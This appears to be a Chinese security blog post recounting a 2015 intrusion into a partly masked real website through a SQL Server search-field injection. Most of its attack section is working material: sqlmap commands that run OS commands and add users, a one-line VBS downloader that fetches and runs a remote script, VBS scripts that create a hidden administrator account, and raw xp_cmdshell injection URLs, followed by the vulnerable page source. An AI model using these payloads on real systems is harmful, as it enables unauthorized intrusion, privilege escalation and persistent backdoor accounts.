记一次利用阿D注入渗透实战案例

admin 2020年12月30日08:00:50评论85 views字数 5672阅读18分54秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

所有话题标签:

#Web安全   #漏洞复现   #工具使用   #权限提升

#权限维持   #防护绕过   #内网安全   #实战案例

#其他笔记   #资源分享   #MSF


0x01 前言

这个案例记录的是笔者2015年测试的一个目标站点,当时是先找到了一个子域名的SA权限的搜索型注入,本以为能很顺利的拿到目标服务器权限,结果在测试中还是遇到了不少问题,比如我们测试了几款常用的注入工具,要不识别不出注入,要不识别出注入但不能执行命令和列目录等等问题


基本信息探测:

目标站点:http://baike.****.cn服务器IP:183.***.**.203(中国)    环境平台:ASP.NET 4.0.30319服务器系统:Microsoft-IIS/6.0搜索型注入:http://baike.****.cn/Question/AskSearchList1.aspx?Key=%27          http://baike.****.cn/Question/AskSearchList2.aspx?Key=%27          http://baike.****.cn/Knowledge/KnowledgeSearchList.aspx?Key=%27


0x02 实战测试过程

在这个网站共找到了3处SA权限的搜索型注入,随便在一个搜索框中输入'单引号后即会爆出语法错误
记一次利用阿D注入渗透实战案例

首先我们先尝试了Pangolin穿山甲和明小子,结果都识别不出该注入点,又试了一下Havij胡萝卜和JCZ3.1,虽然能识别这个注入点,但是获取不到数据库信息、库名,也执行不了系统命令等。

Sqlmap能识别该注入点并且能够执行部分系统命令,但在进一步测试中发现以下一些问题:

  • 1. 因服务器上的net.exe和net1.exe被降权了而无法直接添加管理员用户;

  • 2. --os-pwn参数也不能直接获取目标Meterpreter会话,也没跑出SA密码;

  • 3. 没有爆出绝对路径,无法Getshell,当时没想到用dir等命令找绝对路径

  • 4. 虽然能获取当前库baike、用户名sa,但是没找到后台地址,也不想多走这步了 ;

sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=whoami --threads=10
记一次利用阿D注入渗透实战案例
sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-cmd=net user 90sec 90sec /add --threads=10
记一次利用阿D注入渗透实战案例
sqlmap -u "http://baike.****.cn/Question/AskSearchList2.aspx?Key=" --os-pwn --msf-path=/usr/share/metasploit-framework --threads=10
记一次利用阿D注入渗透实战案例


Sqlmap虽然没有命令可以直接上传文件,但是我们可以通过--os-cmd参数来写一个VBS下载者来下载远控马或VBS添加管理员用户脚本,不过由于Sqlmap不支持多行内容写入,所以这里还需要用:冒号将所有脚本内容放在同一行写入,然后再去执行一下即可。


VBS Download Script:

Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:sec.vbs")
ADSI_WinNT:
set wsnetwork=CreateObject("WSCRIPT.NETWORK")os="WinNT://"&wsnetwork.ComputerNameSet ob=GetObject(os)Set oe=GetObject(os&"/Administrators,group")Set od=ob.Create("user","SQLDebugger")od.SetPassword "www.90sec.org"od.SetInfoSet of=GetObject(os&"/SQLDebugger",user)oe.add os&"/SQLDebugger"
API_Shell.Users:
Set o=CreateObject( "Shell.Users" )Set z=o.create("SQLDebugger")z.changePassword "www.90sec.org",""z.setting("AccountType")=3
Sqlmap --os-cmd Write VBS File:
sqlmap -u "http://baike.pack.cn/Question/AskSearchList2.aspx?Key=" --os-cmd="echo Set Post = CreateObject("Msxml2.XMLHTTP"):Set Shell = CreateObject("Wscript.Shell"):Post.Open "GET","http://127.0.0.1/3.0/383442049/kRskzln4I4J543X55MK/API_Shell.Users.txt",0 :Post.Send():Set aGet = CreateObject("ADODB.Stream"):aGet.Mode = 3:aGet.Type = 1:aGet.Open():aGet.Write(Post.responseBody):aGet.SaveToFile "c:sec.vbs",2:wscript.sleep 1000:Shell.Run ("c:sec.vbs") > c:90sec.vbs"
记一次利用阿D注入渗透实战案例
记一次利用阿D注入渗透实战案例


命令虽然是执行完成了,但是我们的VBS下载者文件并没有被写进目标磁盘,将以上代码分为多次写入也不行,按理说应该是没问题的,因为我本地测试都是OK的!看来Sqlmap是行不通了,继续尝试一下我们曾经常用的阿D注入神器看看吧!


阿D注入工具能识别这个注入点,而且在cmd/上传模块中的底部有一个上传文件的功能,但是这里仍然不能列出目录,执行部分系统命令时返回的也都是乱码,不过这里还有以下两个思路可以尝试。

  • 1. 利用Echo命令写VBS下载者,然后再执行该脚本(失败!);

  • 2. 利用上传功能上传VBS添加管理员用户脚本并执行(成功!);

记一次利用阿D注入渗透实战案例
记一次利用阿D注入渗透实战案例


使用WSExplorer抓包工具抓的啊D注入工具上传功能提交的数据包如下,可以看到也是通过MSSQL中的xp_cmdshell组件执行echo命令写入VBS文件的。

/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20z.setting(^"AccountType^")=3%20>>c:API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20z.changePassword%20^"www.90sec.org^",^"^"%20>>c:API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20Set%20z=o.create(^"SQLDebugger^")%20>>c:API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--/Question/AskSearchList2.aspx?Key=%25';use%20master%20dbcc%20addextendedproc('xp_cmdshell','xplog70.dll')--/Question/AskSearchList2.aspx?Key=%25';EXEc%20MaStER..Xp_CmdShell%20'EcHo%20Set%20o=CreateObject(%20^"Shell.Users^"%20)%20>c:API_Shell.Users.vbs';exec%20master..sp_dropextendedproc%20'xp_cmdshell'--


最后是利用啊D注入工具的上传功能将VBS添加管理员用户脚本上传至目标磁盘并成功执行,进入目标服务器后发现管理员是将net.exe和net1.exe的Everyone权限设置为拒绝了,所以无法执行net。

记一次利用阿D注入渗透实战案例


注:前边sqlmap --os-cmd用echo命令写入VBS下载者失败的原因是因为过滤了CreateObject函数中的Microsoft.XMLHTTP、Msxml2.XMLHTTP等对象,如果存在则写入失败,但并没有过滤VBS添加管理员用户脚本中的内容,所以能够成功写入,还真不知道管理员是如何设置的这个echo命令过滤!


Question/AskSearchList2.aspx.cs:

       {            string constring = ConfigurationSettings.AppSettings["conStr"];            using (SqlConnection con = new SqlConnection(constring))            {                con.Open();                SqlCommand com = new SqlCommand("bsp_Search_Question_Key2", con);                com.CommandType = CommandType.StoredProcedure;                com.Parameters.Add("@Key", SqlDbType.VarChar, 200);                com.Parameters["@Key"].Value = Request.QueryString["Key"].ToString();                DataSet ds = new DataSet();                SqlDataAdapter da = new SqlDataAdapter();                da.SelectCommand = com;                da.Fill(ds, "bst_Question_Base");                int curpage = Convert.ToInt32(Label1.Text);                PagedDataSource ps = new PagedDataSource();                ps.DataSource = ds.Tables["bst_Question_Base"].DefaultView;                ps.AllowPaging = true;                ps.PageSize = 10;                ps.CurrentPageIndex = curpage - 1;                LinkButton1.Enabled = true;                LinkButton2.Enabled = true;                LinkButton3.Enabled = true;                LinkButton4.Enabled = true;                if (curpage == 1)                {                    LinkButton1.Enabled = false;                    LinkButton2.Enabled = false;                }                if (curpage == ps.PageCount)                {                    LinkButton3.Enabled = false;                    LinkButton4.Enabled = false;                }                Label2.Text = Convert.ToString(ps.PageCount);                lit_Questionlist.DataSource = ps;                lit_Questionlist.DataBind();            }        }




只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,1120领取安全参考等安全杂志PDF电子版1208领取一份常用高效爆破字典还在等什么?

记一次利用阿D注入渗透实战案例

本文始发于微信公众号(潇湘信安):记一次利用阿D注入渗透实战案例

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月30日08:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次利用阿D注入渗透实战案例http://cn-sec.com/archives/224249.html

发表评论

匿名网友 填写信息